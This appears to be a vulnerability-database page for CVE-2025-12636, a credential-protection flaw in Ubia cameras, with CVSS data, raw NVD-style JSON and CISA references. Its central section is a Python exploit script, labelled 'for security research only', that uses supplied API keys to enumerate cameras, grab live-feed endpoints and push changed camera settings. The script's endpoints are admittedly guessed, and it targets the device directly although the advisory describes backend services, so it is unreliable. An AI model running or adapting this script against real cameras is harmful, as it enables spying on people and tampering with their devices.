Security Vulnerability Report
中文
CVE-2025-12636 CVSS 6.5 MEDIUM

CVE-2025-12636

Published: 2025-11-06 23:15:36
Last Modified: 2026-04-15 00:35:42

Description

The Ubia camera ecosystem fails to adequately secure API credentials, potentially enabling an attacker to connect to backend services. The attacker would then be able to gain unauthorized access to available cameras, enabling the viewing of live feeds or modification of settings.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Ubia Camera Ecosystem (所有未修复版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-12636 PoC - Ubia Camera API Unauthorized Access # This PoC demonstrates the API credential exposure vulnerability import requests import json import sys class UbiaCameraExploit: def __init__(self, target_ip, api_credentials=None): self.target_ip = target_ip self.base_url = f"http://{target_ip}" self.api_credentials = api_credentials or {} self.session = requests.Session() def exploit_api_credential_exposure(self): """ Exploit the inadequate API credential protection. Attackers can connect to backend services using exposed credentials. """ results = { 'camera_devices': [], 'live_feeds': [], 'modifiable_settings': [] } # Step 1: Attempt to connect using potentially exposed API credentials try: # Common API endpoints that may expose camera data api_endpoints = [ '/api/v1/cameras', '/api/v1/devices', '/api/v1/streams', '/api/v1/config', '/api/v1/auth/status' ] for endpoint in api_endpoints: response = self.session.get( f"{self.base_url}{endpoint}", headers=self._build_auth_headers(), timeout=10 ) if response.status_code == 200: data = response.json() results = self._parse_response(endpoint, data, results) except requests.exceptions.RequestException as e: print(f"Connection error: {e}") return results def _build_auth_headers(self): """Build authentication headers using exposed credentials""" headers = { 'Content-Type': 'application/json', 'User-Agent': 'UbiaCameraClient/1.0' } # If exposed API key/token is available if 'api_key' in self.api_credentials: headers['X-API-Key'] = self.api_credentials['api_key'] if 'token' in self.api_credentials: headers['Authorization'] = f"Bearer {self.api_credentials['token']}" return headers def _parse_response(self, endpoint, data, results): """Parse API responses to extract camera information""" if 'cameras' in endpoint or 'devices' in endpoint: if isinstance(data, list): results['camera_devices'].extend(data) elif isinstance(data, dict) and 'devices' in data: results['camera_devices'].extend(data['devices']) if 'streams' in endpoint: results['live_feeds'].append({ 'endpoint': endpoint, 'streams': data }) if 'config' in endpoint: results['modifiable_settings'].append({ 'endpoint': endpoint, 'config': data }) return results def view_live_feed(self, camera_id): """Attempt to access live camera feed""" try: response = self.session.get( f"{self.base_url}/api/v1/cameras/{camera_id}/stream", headers=self._build_auth_headers(), timeout=10 ) return response.status_code == 200 except: return False def modify_settings(self, camera_id, new_settings): """Attempt to modify camera settings""" try: response = self.session.put( f"{self.base_url}/api/v1/cameras/{camera_id}/config", json=new_settings, headers=self._build_auth_headers(), timeout=10 ) return response.status_code in [200, 204] except: return False def main(): if len(sys.argv) < 2: print("Usage: python ubia_cve_2025_12636.py <target_ip> [api_key]") sys.exit(1) target_ip = sys.argv[1] api_creds = {} if len(sys.argv) >= 3: api_creds['api_key'] = sys.argv[2] exploit = UbiaCameraExploit(target_ip, api_creds) results = exploit.exploit_api_credential_exposure() print("=" * 50) print("CVE-2025-12636 Exploitation Results") print("=" * 50) print(f"Cameras Found: {len(results['camera_devices'])}") print(f"Live Feeds Available: {len(results['live_feeds'])}") print(f"Configurable Settings: {len(results['modifiable_settings'])}") print(json.dumps(results, indent=2)) if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-12636", "sourceIdentifier": "[email protected]", "published": "2025-11-06T23:15:35.693", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Ubia camera ecosystem fails to adequately secure API credentials, \npotentially enabling an attacker to connect to backend services. The \nattacker would then be able to gain unauthorized access to available \ncameras, enabling the viewing of live feeds or modification of settings."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-522"}]}], "references": [{"url": "https://github.com/cisagov/CSAF/blob/develop/csaf_files/OT/white/2025/icsa-25-310-02.json", "source": "[email protected]"}, {"url": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-310-02", "source": "[email protected]"}]}}